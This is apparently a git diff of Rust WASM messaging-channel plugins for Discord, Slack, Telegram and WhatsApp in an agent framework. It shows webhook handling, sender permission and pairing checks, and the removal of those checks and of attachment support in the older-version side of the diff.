} else {
format!("/{}", command_name)
};
let metadata = DiscordMessageMetadata {
channel_id: channel_id.clone(),
interaction_id: interaction.id.clone(),
token: interaction.token.clone(),
application_id: interaction.application_id.clone(),
thread_id: None,
};
let metadata_json = match serde_json::to_string(&metadata) {
Ok(json) => json,
Err(e) => {
channel_host::log(
channel_host::LogLevel::Error,
&format!("Failed to serialize metadata: {}", e),
);
let url = format!(
"https://discord.com/api/v10/webhooks/{}/{}",
interaction.application_id, interaction.token
);
let payload = serde_json::json!({
"content": "❌ Internal Error: Failed to process command metadata.",
"flags": 64
});
let _ = channel_host::http_request(
"POST",
&url,
&serde_json::json!({"Content-Type": "application/json"}).to_string(),
Some(&serde_json::to_vec(&payload).unwrap_or_default()),
None,
);
return true; // Error, but not a permission denial
}
};
channel_host::emit_message(&EmittedMessage {
user_id,
user_name: Some(user_name),
content,
thread_id: None,
metadata_json,
attachments: vec![],
});
true
}
fn handle_message_component(interaction: &DiscordInteraction, message: &DiscordMessage) {
let user = interaction
.member
.as_ref()
.map(|m| &m.user)
.or(interaction.user.as_ref());
let user_id = user.map(|u| u.id.clone()).unwrap_or_default();
let user_name = user
.map(|u| {
u.global_name
.as_ref()
.filter(|s| !s.is_empty())
.unwrap_or(&u.username)
.clone()
})
.unwrap_or_default();
let is_dm = interaction.member.is_none();
if !check_sender_permission(&user_id, Some(&user_name), is_dm, None) {
return;
}
let channel_id = message.channel_id.clone();
let metadata = DiscordMessageMetadata {
channel_id: channel_id.clone(),
interaction_id: interaction.id.clone(),
token: interaction.token.clone(),
application_id: interaction.application_id.clone(),
thread_id: None,
};
let metadata_json = match serde_json::to_string(&metadata) {
Ok(json) => json,
Err(e) => {
channel_host::log(
channel_host::LogLevel::Error,
&format!("Failed to serialize metadata: {}", e),
);
return; // Don't emit message if metadata can't be serialized
}
};
channel_host::emit_message(&EmittedMessage {
user_id,
user_name: Some(user_name),
content: format!("[Button clicked] {}", message.content),
thread_id: None,
metadata_json,
attachments: vec![],
});
}
// ============================================================================
// Permission & Pairing
// ============================================================================
/// Context needed to send a pairing reply via Discord webhook followup.
struct PairingReplyCtx {
application_id: String,
token: String,
}
/// Check if a sender is permitted to interact with the bot.
/// Returns true if allowed, false if denied (pairing reply sent if applicable).
fn check_sender_permission(
user_id: &str,
username: Option<&str>,
is_dm: bool,
reply_ctx: Option<&PairingReplyCtx>,
) -> bool {
// 1. Owner check (highest priority, applies to all contexts)
let owner_id = channel_host::workspace_read(OWNER_ID_PATH).filter(|s| !s.is_empty());
if let Some(ref owner) = owner_id {
if user_id != owner {
channel_host::log(
channel_host::LogLevel::Debug,
&format!(
"Dropping interaction from non-owner user {} (owner: {})",
user_id, owner
),
);
return false;
}
return true;
}
// 2. DM policy (only for DMs when no owner_id)
if !is_dm {
return true; // Guild interactions bypass DM policy
}
let dm_policy =
channel_host::workspace_read(DM_POLICY_PATH).unwrap_or_else(|| "pairing".to_string());
if dm_policy == "open" {
return true;
}
// 3. Build merged allow list: config allow_from + pairing store
let mut allowed: Vec<String> = channel_host::workspace_read(ALLOW_FROM_PATH)
.and_then(|s| serde_json::from_str(&s).ok())
.unwrap_or_default();
if let Ok(store_allowed) = channel_host::pairing_read_allow_from(CHANNEL_NAME) {
allowed.extend(store_allowed);
}
// 4. Check sender against allow list
let is_allowed = allowed.contains(&"*".to_string())
|| allowed.contains(&user_id.to_string())
|| username.is_some_and(|u| allowed.contains(&u.to_string()));
if is_allowed {
return true;
}
// 5. Not allowed — handle by policy
if dm_policy == "pairing" {
let meta = serde_json::json!({
"user_id": user_id,
"username": username,
})
.to_string();
match channel_host::pairing_upsert_request(CHANNEL_NAME, user_id, &meta) {
Ok(result) => {
channel_host::log(
channel_host::LogLevel::Info,
&format!(
"Pairing request for user {}: code {}",
user_id, result.code
),
);
if result.created {
if let Some(ctx) = reply_ctx {
let _ = send_pairing_reply(ctx, &result.code);
}
}
}
Err(e) => {
channel_host::log(
channel_host::LogLevel::Error,
&format!("Pairing upsert failed: {}", e),
);
}
}
}
false
}
/// Send a pairing code as an ephemeral Discord followup message.
fn send_pairing_reply(ctx: &PairingReplyCtx, code: &str) -> Result<(), String> {
let url = format!(
"https://discord.com/api/v10/webhooks/{}/{}",
ctx.application_id, ctx.token
);
let payload = serde_json::json!({
"content": format!(
"To pair with this bot, run: `ironclaw pairing approve discord {}`",
code
),
"flags": 64 // Ephemeral — only visible to the sender
});
let payload_bytes =
serde_json::to_vec(&payload).map_err(|e| format!("Failed to serialize: {}", e))?;
let headers = serde_json::json!({"Content-Type": "application/json"});
let result = channel_host::http_request(
"POST",
&url,
&headers.to_string(),
Some(&payload_bytes),
None,
);
match result {
Ok(response) if response.status >= 200 && response.status < 300 => Ok(()),
Ok(response) => {
let body_str = String::from_utf8_lossy(&response.body);
Err(format!(
"Discord API error: {} - {}",
response.status, body_str
))
}
Err(e) => Err(format!("HTTP request failed: {}", e)),
}
}
fn json_response(status: u16, value: serde_json::Value) -> OutgoingHttpResponse {
let body = serde_json::to_vec(&value).unwrap_or_default();
let headers = serde_json::json!({"Content-Type": "application/json"});
OutgoingHttpResponse {
status,
headers_json: headers.to_string(),
body,
}
}
export!(DiscordChannel);
fn truncate_message(content: &str) -> String {
if content.len() <= 2000 {
content.to_string()
} else {
let max_bytes = 1990;
let cutoff = content
.char_indices()
.map(|(i, c)| i + c.len_utf8())
.take_while(|&end| end <= max_bytes)
.last()
.unwrap_or(0);
let mut truncated = content[..cutoff].to_string();
truncated.push_str("\n... (truncated)");
truncated
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_truncate_message() {
let short = "Hello world";
assert_eq!(truncate_message(short), short);
let long = "a".repeat(2005);
let truncated = truncate_message(&long);
assert_eq!(truncated.len(), 2006); // 1990 + 16 chars suffix
assert!(truncated.ends_with("\n... (truncated)"));
// Test with multibyte characters (Euro sign is 3 bytes)
// 1000 chars * 3 bytes = 3000 bytes
let multi = "".repeat(1000);
let truncated_multi = truncate_message(&multi);
// 1990 bytes limit. 1990 / 3 = 663 with remainder 1.
// Should truncate at 663 chars (1989 bytes).
// Suffix is 16 bytes. Total: 1989 + 16 = 2005 bytes.
assert!(truncated_multi.len() <= 2006);
assert!(truncated_multi.len() >= 2006 - 4); // Allow for max utf8 char width variance
assert!(truncated_multi.ends_with("\n... (truncated)"));
let content_part = &truncated_multi[..truncated_multi.len() - 16];
assert!(content_part.chars().all(|c| c == '€'));
}
#[test]
fn test_metadata_serialization() {
let metadata = DiscordMessageMetadata {
channel_id: "123".into(),
interaction_id: "456".into(),
token: "abc".into(),
application_id: "789".into(),
thread_id: None,
};
let json = serde_json::to_string(&metadata).unwrap();
let parsed: DiscordMessageMetadata = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.channel_id, "123");
assert_eq!(parsed.interaction_id, "456");
}
#[test]
fn test_parse_slash_command_interaction() {
// Verify that a slash command interaction deserializes correctly.
let json = r#"{
"type": 2,
"id": "int_1",
"application_id": "app_1",
"channel_id": "ch_1",
"member": {
"user": {
"id": "user_1",
"username": "testuser",
"global_name": "Test User"
}
},
"data": {
"id": "cmd_1",
"name": "ask",
"options": [
{"name": "question", "value": "What is rust?"}
]
},
"token": "token_abc"
}"#;
let interaction: DiscordInteraction = serde_json::from_str(json).unwrap();
assert_eq!(interaction.interaction_type, 2);
assert!(interaction.data.is_some());
}
}
+1 -3
View File
@@ -1,6 +1,6 @@
[package]
name = "slack-channel"
version = "0.2.0"
version = "0.1.0"
edition = "2021"
description = "Slack Events API channel for IronClaw"
license = "MIT OR Apache-2.0"
@@ -27,5 +27,3 @@ opt-level = "s"
lto = true
strip = true
codegen-units = 1
[workspace]
+1 -1
View File
@@ -30,7 +30,7 @@ if [ -f "$WASM_PATH" ]; then
wasm-tools strip slack.wasm -o slack.wasm
echo "Built: slack.wasm ($(du -h slack.wasm | cut -f1))"
echo "Copy slack.wasm and slack.capabilities.json to ~/.ironclaw/channels/"
echo "Copy slack.wasm and slack.capabilities.json to ~/.near-agent/channels/"
else
echo "Error: WASM output not found at $WASM_PATH"
exit 1
+1 -24
View File
@@ -1,24 +1,7 @@
{
"version": "0.2.0",
"wit_version": "0.3.0",
"type": "channel",
"name": "slack",
"description": "Slack Events API channel for receiving and responding to Slack messages",
"setup": {
"required_secrets": [
{
"name": "slack_bot_token",
"prompt": "Enter your Slack Bot User OAuth Token (starts with xoxb-). Find it under OAuth & Permissions in your Slack App settings.",
"optional": false
},
{
"name": "slack_signing_secret",
"prompt": "Enter your Slack App Signing Secret (found under Basic Information > App Credentials in your Slack App settings).",
"optional": false
}
],
"setup_url": "https://api.slack.com/apps"
},
"capabilities": {
"http": {
"allowlist": [
@@ -46,16 +29,10 @@
"emit_rate_limit": {
"messages_per_minute": 100,
"messages_per_hour": 5000
},
"webhook": {
"hmac_secret_name": "slack_signing_secret"
}
}
},
"config": {
"signing_secret_name": "slack_signing_secret",
"owner_id": null,
"dm_policy": "pairing",
"allow_from": []
"signing_secret_name": "slack_signing_secret"
}
}
+30 -377
View File
@@ -29,7 +29,7 @@ use exports::near::agent::channel::{
AgentResponse, ChannelConfig, Guest, HttpEndpointConfig, IncomingHttpRequest,
OutgoingHttpResponse, StatusUpdate,
};
use near::agent::channel_host::{self, EmittedMessage, InboundAttachment};
use near::agent::channel_host::{self, EmittedMessage};
/// Slack event wrapper.
#[derive(Debug, Deserialize)]
@@ -78,25 +78,6 @@ struct SlackEvent {
/// Subtype (bot_message, etc.)
subtype: Option<String>,
/// File attachments shared in the message.
#[serde(default)]
files: Option<Vec<SlackFile>>,
}
/// Slack file attachment.
#[derive(Debug, Deserialize)]
struct SlackFile {
/// File ID.
id: String,
/// MIME type.
mimetype: Option<String>,
/// Original filename.
name: Option<String>,
/// File size in bytes.
size: Option<u64>,
/// URL to download the file (requires auth).
url_private: Option<String>,
}
/// Metadata stored with emitted messages for response routing.
@@ -123,31 +104,12 @@ struct SlackPostMessageResponse {
ts: Option<String>,
}
/// Workspace path for persisting owner_id across WASM callbacks.
const OWNER_ID_PATH: &str = "state/owner_id";
/// Workspace path for persisting dm_policy across WASM callbacks.
const DM_POLICY_PATH: &str = "state/dm_policy";
/// Workspace path for persisting allow_from (JSON array) across WASM callbacks.
const ALLOW_FROM_PATH: &str = "state/allow_from";
/// Channel name for pairing store (used by pairing host APIs).
const CHANNEL_NAME: &str = "slack";
/// Channel configuration from capabilities file.
#[derive(Debug, Deserialize)]
struct SlackConfig {
/// Name of secret containing signing secret (for verification by host).
#[serde(default = "default_signing_secret_name")]
#[allow(dead_code)]
signing_secret_name: String,
#[serde(default)]
owner_id: Option<String>,
#[serde(default)]
dm_policy: Option<String>,
#[serde(default)]
allow_from: Option<Vec<String>>,
}
fn default_signing_secret_name() -> String {
@@ -158,30 +120,12 @@ struct SlackChannel;
impl Guest for SlackChannel {
fn on_start(config_json: String) -> Result<ChannelConfig, String> {
let config: SlackConfig = serde_json::from_str(&config_json)
// Parse configuration
let _config: SlackConfig = serde_json::from_str(&config_json)
.map_err(|e| format!("Failed to parse config: {}", e))?;
channel_host::log(channel_host::LogLevel::Info, "Slack channel starting");
// Persist owner_id so subsequent callbacks can read it
if let Some(ref owner_id) = config.owner_id {
let _ = channel_host::workspace_write(OWNER_ID_PATH, owner_id);
channel_host::log(
channel_host::LogLevel::Info,
&format!("Owner restriction enabled: user {}", owner_id),
);
} else {
let _ = channel_host::workspace_write(OWNER_ID_PATH, "");
}
// Persist dm_policy and allow_from for DM pairing
let dm_policy = config.dm_policy.as_deref().unwrap_or("pairing");
let _ = channel_host::workspace_write(DM_POLICY_PATH, dm_policy);
let allow_from_json = serde_json::to_string(&config.allow_from.unwrap_or_default())
.unwrap_or_else(|_| "[]".to_string());
let _ = channel_host::workspace_write(ALLOW_FROM_PATH, &allow_from_json);
Ok(ChannelConfig {
display_name: "Slack".to_string(),
http_endpoints: vec![HttpEndpointConfig {
@@ -189,7 +133,7 @@ impl Guest for SlackChannel {
methods: vec!["POST".to_string()],
require_secret: true,
}],
poll: None,
poll: None, // Slack uses push via webhooks, no polling needed
})
}
@@ -231,7 +175,11 @@ impl Guest for SlackChannel {
// Actual event callback
"event_callback" => {
if let Some(event) = event_wrapper.event {
handle_slack_event(event, event_wrapper.team_id, event_wrapper.event_id);
handle_slack_event(
event,
event_wrapper.team_id,
event_wrapper.event_id,
);
}
// Always respond 200 quickly to Slack (they have a 3s timeout)
json_response(200, serde_json::json!({"ok": true}))
@@ -282,7 +230,6 @@ impl Guest for SlackChannel {
"https://slack.com/api/chat.postMessage",
&headers.to_string(),
Some(&payload_bytes),
None,
);
match result {
@@ -296,15 +243,14 @@ impl Guest for SlackChannel {
// Parse Slack response
let slack_response: SlackPostMessageResponse =
serde_json::from_slice(&http_response.body)
.map_err(|e| format!("Failed to parse Slack response: {}", e))?;
serde_json::from_slice(&http_response.body).map_err(|e| {
format!("Failed to parse Slack response: {}", e)
})?;
if !slack_response.ok {
return Err(format!(
"Slack API error: {}",
slack_response
.error
.unwrap_or_else(|| "unknown".to_string())
slack_response.error.unwrap_or_else(|| "unknown".to_string())
));
}
@@ -325,63 +271,24 @@ impl Guest for SlackChannel {
fn on_status(_update: StatusUpdate) {}
fn on_broadcast(_user_id: String, _response: AgentResponse) -> Result<(), String> {
Err("broadcast not yet implemented for Slack channel".to_string())
}
fn on_shutdown() {
channel_host::log(channel_host::LogLevel::Info, "Slack channel shutting down");
}
}
/// Extract attachments from Slack file objects.
fn extract_slack_attachments(files: &Option<Vec<SlackFile>>) -> Vec<InboundAttachment> {
let Some(files) = files else {
return Vec::new();
};
files
.iter()
.map(|f| InboundAttachment {
id: f.id.clone(),
mime_type: f
.mimetype
.clone()
.unwrap_or_else(|| "application/octet-stream".to_string()),
filename: f.name.clone(),
size_bytes: f.size,
source_url: f.url_private.clone(),
storage_key: None,
extracted_text: None,
extras_json: String::new(),
})
.collect()
}
/// Handle a Slack event and emit message if applicable.
fn handle_slack_event(event: SlackEvent, team_id: Option<String>, _event_id: Option<String>) {
let attachments = extract_slack_attachments(&event.files);
fn handle_slack_event(
event: SlackEvent,
team_id: Option<String>,
_event_id: Option<String>,
) {
match event.event_type.as_str() {
// Direct mention of the bot (always in a channel, not a DM)
// Direct mention of the bot
"app_mention" => {
if let (Some(user), Some(channel), Some(text), Some(ts)) = (
event.user,
event.channel.clone(),
event.text,
event.ts.clone(),
) {
// app_mention is always in a channel (not DM)
if !check_sender_permission(&user, &channel, false) {
return;
}
emit_message(
user,
text,
channel,
event.thread_ts.or(Some(ts)),
team_id,
attachments,
);
if let (Some(user), Some(channel), Some(text), Some(ts)) =
(event.user, event.channel.clone(), event.text, event.ts.clone())
{
emit_message(user, text, channel, event.thread_ts.or(Some(ts)), team_id);
}
}
@@ -392,25 +299,12 @@ fn handle_slack_event(event: SlackEvent, team_id: Option<String>, _event_id: Opt
return;
}
if let (Some(user), Some(channel), Some(text), Some(ts)) = (
event.user,
event.channel.clone(),
event.text,
event.ts.clone(),
) {
if let (Some(user), Some(channel), Some(text), Some(ts)) =
(event.user, event.channel.clone(), event.text, event.ts.clone())
{
// Only process DMs (channel IDs starting with D)
if channel.starts_with('D') {
if !check_sender_permission(&user, &channel, true) {
return;
}
emit_message(
user,
text,
channel,
event.thread_ts.or(Some(ts)),
team_id,
attachments,
);
emit_message(user, text, channel, event.thread_ts.or(Some(ts)), team_id);
}
}
}
@@ -431,7 +325,6 @@ fn emit_message(
channel: String,
thread_ts: Option<String>,
team_id: Option<String>,
attachments: Vec<InboundAttachment>,
) {
let message_ts = thread_ts.clone().unwrap_or_default();
@@ -442,13 +335,8 @@ fn emit_message(
team_id,
};
let metadata_json = serde_json::to_string(&metadata).unwrap_or_else(|e| {
channel_host::log(
channel_host::LogLevel::Error,
&format!("Failed to serialize Slack metadata: {}", e),
);
"{}".to_string()
});
let metadata_json =
serde_json::to_string(&metadata).unwrap_or_else(|_| "{}".to_string());
// Strip @ mentions of the bot from the text for cleaner messages
let cleaned_text = strip_bot_mention(&text);
@@ -459,130 +347,9 @@ fn emit_message(
content: cleaned_text,
thread_id: thread_ts,
metadata_json,
attachments,
});
}
// ============================================================================
// Permission & Pairing
// ============================================================================
/// Check if a sender is permitted. Returns true if allowed.
/// For pairing mode, sends a pairing code DM if denied.
fn check_sender_permission(user_id: &str, channel_id: &str, is_dm: bool) -> bool {
// 1. Owner check (highest priority, applies to all contexts)
let owner_id = channel_host::workspace_read(OWNER_ID_PATH).filter(|s| !s.is_empty());
if let Some(ref owner) = owner_id {
if user_id != owner {
channel_host::log(
channel_host::LogLevel::Debug,
&format!(
"Dropping message from non-owner user {} (owner: {})",
user_id, owner
),
);
return false;
}
return true;
}
// 2. DM policy (only for DMs when no owner_id)
if !is_dm {
return true; // Channel messages bypass DM policy
}
let dm_policy =
channel_host::workspace_read(DM_POLICY_PATH).unwrap_or_else(|| "pairing".to_string());
if dm_policy == "open" {
return true;
}
// 3. Build merged allow list: config allow_from + pairing store
let mut allowed: Vec<String> = channel_host::workspace_read(ALLOW_FROM_PATH)
.and_then(|s| serde_json::from_str(&s).ok())
.unwrap_or_default();
if let Ok(store_allowed) = channel_host::pairing_read_allow_from(CHANNEL_NAME) {
allowed.extend(store_allowed);
}
// 4. Check sender (Slack events only have user ID, not username)
let is_allowed =
allowed.contains(&"*".to_string()) || allowed.contains(&user_id.to_string());
if is_allowed {
return true;
}
// 5. Not allowed — handle by policy
if dm_policy == "pairing" {
let meta = serde_json::json!({
"user_id": user_id,
"channel_id": channel_id,
})
.to_string();
match channel_host::pairing_upsert_request(CHANNEL_NAME, user_id, &meta) {
Ok(result) => {
channel_host::log(
channel_host::LogLevel::Info,
&format!(
"Pairing request for user {}: code {}",
user_id, result.code
),
);
if result.created {
let _ = send_pairing_reply(channel_id, &result.code);
}
}
Err(e) => {
channel_host::log(
channel_host::LogLevel::Error,
&format!("Pairing upsert failed: {}", e),
);
}
}
}
false
}
/// Send a pairing code message via Slack chat.postMessage.
fn send_pairing_reply(channel_id: &str, code: &str) -> Result<(), String> {
let payload = serde_json::json!({
"channel": channel_id,
"text": format!(
"To pair with this bot, run: `ironclaw pairing approve slack {}`",
code
),
});
let payload_bytes =
serde_json::to_vec(&payload).map_err(|e| format!("Failed to serialize: {}", e))?;
let headers = serde_json::json!({"Content-Type": "application/json"});
let result = channel_host::http_request(
"POST",
"https://slack.com/api/chat.postMessage",
&headers.to_string(),
Some(&payload_bytes),
None,
);
match result {
Ok(response) if response.status == 200 => Ok(()),
Ok(response) => {
let body_str = String::from_utf8_lossy(&response.body);
Err(format!(
"Slack API error: {} - {}",
response.status, body_str
))
}
Err(e) => Err(format!("HTTP request failed: {}", e)),
}
}
/// Strip leading bot mention from text.
fn strip_bot_mention(text: &str) -> String {
// Slack mentions look like <@U12345678>
@@ -597,13 +364,7 @@ fn strip_bot_mention(text: &str) -> String {
/// Create a JSON HTTP response.
fn json_response(status: u16, value: serde_json::Value) -> OutgoingHttpResponse {
let body = serde_json::to_vec(&value).unwrap_or_else(|e| {
channel_host::log(
channel_host::LogLevel::Error,
&format!("Failed to serialize JSON response: {}", e),
);
Vec::new()
});
let body = serde_json::to_vec(&value).unwrap_or_default();
let headers = serde_json::json!({"Content-Type": "application/json"});
OutgoingHttpResponse {
@@ -615,111 +376,3 @@ fn json_response(status: u16, value: serde_json::Value) -> OutgoingHttpResponse
// Export the component
export!(SlackChannel);
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_extract_slack_attachments_with_files() {
let files = Some(vec![
SlackFile {
id: "F123".to_string(),
mimetype: Some("image/png".to_string()),
name: Some("screenshot.png".to_string()),
size: Some(50000),
url_private: Some("https://files.slack.com/F123".to_string()),
},
SlackFile {
id: "F456".to_string(),
mimetype: Some("application/pdf".to_string()),
name: Some("doc.pdf".to_string()),
size: Some(120000),
url_private: None,
},
]);
let attachments = extract_slack_attachments(&files);
assert_eq!(attachments.len(), 2);
assert_eq!(attachments[0].id, "F123");
assert_eq!(attachments[0].mime_type, "image/png");
assert_eq!(attachments[0].filename, Some("screenshot.png".to_string()));
assert_eq!(attachments[0].size_bytes, Some(50000));
assert_eq!(
attachments[0].source_url,
Some("https://files.slack.com/F123".to_string())
);
assert_eq!(attachments[1].id, "F456");
assert_eq!(attachments[1].mime_type, "application/pdf");
assert!(attachments[1].source_url.is_none());
}
#[test]
fn test_extract_slack_attachments_none() {
let attachments = extract_slack_attachments(&None);
assert!(attachments.is_empty());
}
#[test]
fn test_extract_slack_attachments_empty() {
let attachments = extract_slack_attachments(&Some(vec![]));
assert!(attachments.is_empty());
}
#[test]
fn test_extract_slack_attachments_missing_mime() {
let files = Some(vec![SlackFile {
id: "F789".to_string(),
mimetype: None,
name: Some("unknown".to_string()),
size: None,
url_private: None,
}]);
let attachments = extract_slack_attachments(&files);
assert_eq!(attachments.len(), 1);
assert_eq!(attachments[0].mime_type, "application/octet-stream");
}
#[test]
fn test_parse_slack_event_with_files() {
let json = r#"{
"type": "message",
"user": "U123",
"channel": "D456",
"text": "Check this file",
"ts": "1234567890.000001",
"files": [
{
"id": "F001",
"mimetype": "image/jpeg",
"name": "photo.jpg",
"size": 30000,
"url_private": "https://files.slack.com/F001"
}
]
}"#;
let event: SlackEvent = serde_json::from_str(json).unwrap();
assert!(event.files.is_some());
let files = event.files.unwrap();
assert_eq!(files.len(), 1);
assert_eq!(files[0].id, "F001");
}
#[test]
fn test_parse_slack_event_without_files() {
let json = r#"{
"type": "message",
"user": "U123",
"channel": "D456",
"text": "Just text",
"ts": "1234567890.000001"
}"#;
let event: SlackEvent = serde_json::from_str(json).unwrap();
assert!(event.files.is_none());
}
}
+1 -1
View File
@@ -212,7 +212,7 @@ dependencies = [
[[package]]
name = "telegram-channel"
version = "0.2.0"
version = "0.1.0"
dependencies = [
"serde",
"serde_json",
+1 -5
View File
@@ -1,6 +1,6 @@
[package]
name = "telegram-channel"
version = "0.2.0"
version = "0.1.0"
edition = "2021"
description = "Telegram Bot API channel for IronClaw"
license = "MIT OR Apache-2.0"
@@ -16,13 +16,9 @@ wit-bindgen = "0.36"
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
# Exclude from parent workspace (this is a standalone WASM component)
[profile.release]
# Optimize for size
opt-level = "s"
lto = true
strip = true
codegen-units = 1
[workspace]
+2 -2
View File
@@ -32,8 +32,8 @@ if [ -f "$WASM_PATH" ]; then
echo "Built: telegram.wasm ($(du -h telegram.wasm | cut -f1))"
echo ""
echo "To install:"
echo " mkdir -p ~/.ironclaw/channels"
echo " cp telegram.wasm telegram.capabilities.json ~/.ironclaw/channels/"
echo " mkdir -p ~/.near-agent/channels"
echo " cp telegram.wasm telegram.capabilities.json ~/.near-agent/channels/"
echo ""
echo "Then add your bot token to secrets:"
echo " # Set TELEGRAM_BOT_TOKEN in your environment or secrets store"
File diff suppressed because it is too large Load Diff
@@ -1,24 +1,11 @@
{
"version": "0.2.0",
"wit_version": "0.3.0",
"type": "channel",
"name": "telegram",
"description": "Telegram Bot API channel for receiving and responding to Telegram messages",
"setup": {
"required_secrets": [
{
"name": "telegram_bot_token",
"prompt": "Enter your Telegram Bot API token (from @BotFather)",
"optional": false
}
],
"setup_url": "https://t.me/BotFather"
},
"capabilities": {
"http": {
"allowlist": [
{ "host": "api.telegram.org", "path_prefix": "/bot" },
{ "host": "api.telegram.org", "path_prefix": "/file/bot" }
{ "host": "api.telegram.org", "path_prefix": "/bot" }
],
"credentials": {
"telegram_bot": {
@@ -27,7 +14,6 @@
"host_patterns": ["api.telegram.org"]
}
},
"max_response_bytes": 52428800,
"rate_limit": {
"requests_per_minute": 30,
"requests_per_hour": 1000
@@ -44,10 +30,6 @@
"emit_rate_limit": {
"messages_per_minute": 100,
"messages_per_hour": 5000
},
"webhook": {
"secret_header": "X-Telegram-Bot-Api-Secret-Token",
"secret_name": "telegram_webhook_secret"
}
}
},
@@ -56,8 +38,6 @@
"owner_id": null,
"respond_to_all_group_messages": false,
"polling_enabled": false,
"poll_interval_ms": 30000,
"dm_policy": "pairing",
"allow_from": []
"poll_interval_ms": 30000
}
}
Binary file not shown.
+1 -3
View File
@@ -1,6 +1,6 @@
[package]
name = "whatsapp-channel"
version = "0.2.0"
version = "0.1.0"
edition = "2021"
description = "WhatsApp Cloud API channel for IronClaw"
@@ -16,5 +16,3 @@ serde_json = "1"
opt-level = "s"
lto = true
strip = true
[workspace]
-48
View File
@@ -1,48 +0,0 @@
#!/usr/bin/env bash
# Build the WhatsApp channel WASM component
#
# Prerequisites:
# - Rust with wasm32-wasip2 target: rustup target add wasm32-wasip2
# - wasm-tools for component creation: cargo install wasm-tools
#
# Output:
# - whatsapp.wasm - WASM component ready for deployment
# - whatsapp.capabilities.json - Capabilities file (copy alongside .wasm)
set -euo pipefail
cd "$(dirname "$0")"
if ! command -v wasm-tools &> /dev/null; then
echo "Error: wasm-tools not found. Install with: cargo install wasm-tools"
exit 1
fi
echo "Building WhatsApp channel WASM component..."
# Build the WASM module
cargo build --release --target wasm32-wasip2
# Convert to component model (if not already a component)
# wasm-tools component new is idempotent on components
WASM_PATH="target/wasm32-wasip2/release/whatsapp_channel.wasm"
if [ -f "$WASM_PATH" ]; then
# Create component if needed
wasm-tools component new "$WASM_PATH" -o whatsapp.wasm 2>/dev/null || cp "$WASM_PATH" whatsapp.wasm
# Optimize the component
wasm-tools strip whatsapp.wasm -o whatsapp.wasm
echo "Built: whatsapp.wasm ($(du -h whatsapp.wasm | cut -f1))"
echo ""
echo "To install:"
echo " mkdir -p ~/.ironclaw/channels"
echo " cp whatsapp.wasm whatsapp.capabilities.json ~/.ironclaw/channels/"
echo ""
echo "Then add your access token to secrets:"
echo " # Set whatsapp_access_token in your environment or secrets store"
else
echo "Error: WASM output not found at $WASM_PATH"
exit 1
fi
+18 -478
View File
@@ -32,7 +32,7 @@ use exports::near::agent::channel::{
AgentResponse, ChannelConfig, Guest, HttpEndpointConfig, IncomingHttpRequest,
OutgoingHttpResponse, StatusUpdate,
};
use near::agent::channel_host::{self, EmittedMessage, InboundAttachment};
use near::agent::channel_host::{self, EmittedMessage};
// ============================================================================
// WhatsApp Cloud API Types
@@ -137,46 +137,10 @@ struct WhatsAppMessage {
/// Text content (if type is "text")
text: Option<TextContent>,
/// Image content
image: Option<WhatsAppMedia>,
/// Audio content
audio: Option<WhatsAppMedia>,
/// Video content
video: Option<WhatsAppMedia>,
/// Document content
document: Option<WhatsAppDocument>,
/// Context for replies
context: Option<MessageContext>,
}
/// WhatsApp media attachment (image, audio, video).
#[derive(Debug, Deserialize)]
struct WhatsAppMedia {
/// Media ID (use to download via Graph API)
id: String,
/// MIME type
mime_type: Option<String>,
/// Caption text
caption: Option<String>,
}
/// WhatsApp document attachment.
#[derive(Debug, Deserialize)]
struct WhatsAppDocument {
/// Media ID
id: String,
/// MIME type
mime_type: Option<String>,
/// Filename
filename: Option<String>,
/// Caption text
caption: Option<String>,
}
/// Text message content.
#[derive(Debug, Deserialize)]
struct TextContent {
@@ -262,15 +226,6 @@ struct WhatsAppMessageMetadata {
timestamp: String,
}
/// Workspace path for persisting owner_id across WASM callbacks.
const OWNER_ID_PATH: &str = "state/owner_id";
/// Workspace path for persisting dm_policy across WASM callbacks.
const DM_POLICY_PATH: &str = "state/dm_policy";
/// Workspace path for persisting allow_from (JSON array) across WASM callbacks.
const ALLOW_FROM_PATH: &str = "state/allow_from";
/// Channel name for pairing store (used by pairing host APIs).
const CHANNEL_NAME: &str = "whatsapp";
/// Channel configuration from capabilities file.
#[derive(Debug, Deserialize)]
struct WhatsAppConfig {
@@ -281,15 +236,6 @@ struct WhatsAppConfig {
/// Whether to reply to the original message (thread context)
#[serde(default = "default_reply_to_message")]
reply_to_message: bool,
#[serde(default)]
owner_id: Option<String>,
#[serde(default)]
dm_policy: Option<String>,
#[serde(default)]
allow_from: Option<Vec<String>>,
}
fn default_api_version() -> String {
@@ -308,22 +254,10 @@ struct WhatsAppChannel;
impl Guest for WhatsAppChannel {
fn on_start(config_json: String) -> Result<ChannelConfig, String> {
let config: WhatsAppConfig = match serde_json::from_str(&config_json) {
Ok(c) => c,
Err(e) => {
channel_host::log(
channel_host::LogLevel::Warn,
&format!("Failed to parse WhatsApp config, using defaults: {}", e),
);
WhatsAppConfig {
api_version: default_api_version(),
reply_to_message: default_reply_to_message(),
owner_id: None,
dm_policy: None,
allow_from: None,
}
}
};
let config: WhatsAppConfig = serde_json::from_str(&config_json).unwrap_or(WhatsAppConfig {
api_version: default_api_version(),
reply_to_message: default_reply_to_message(),
});
channel_host::log(
channel_host::LogLevel::Info,
@@ -333,27 +267,6 @@ impl Guest for WhatsAppChannel {
),
);
// Persist api_version in workspace so on_respond() can read it
let _ = channel_host::workspace_write("channels/whatsapp/api_version", &config.api_version);
// Persist permission config for handle_message
if let Some(ref owner_id) = config.owner_id {
let _ = channel_host::workspace_write(OWNER_ID_PATH, owner_id);
channel_host::log(
channel_host::LogLevel::Info,
&format!("Owner restriction enabled: user {}", owner_id),
);
} else {
let _ = channel_host::workspace_write(OWNER_ID_PATH, "");
}
let dm_policy = config.dm_policy.as_deref().unwrap_or("pairing");
let _ = channel_host::workspace_write(DM_POLICY_PATH, dm_policy);
let allow_from_json = serde_json::to_string(&config.allow_from.unwrap_or_default())
.unwrap_or_else(|_| "[]".to_string());
let _ = channel_host::workspace_write(ALLOW_FROM_PATH, &allow_from_json);
// WhatsApp Cloud API is webhook-only, no polling available
Ok(ChannelConfig {
display_name: "WhatsApp".to_string(),
@@ -414,16 +327,11 @@ impl Guest for WhatsAppChannel {
let metadata: WhatsAppMessageMetadata = serde_json::from_str(&response.metadata_json)
.map_err(|e| format!("Failed to parse metadata: {}", e))?;
// Read api_version from workspace (set during on_start), fallback to default
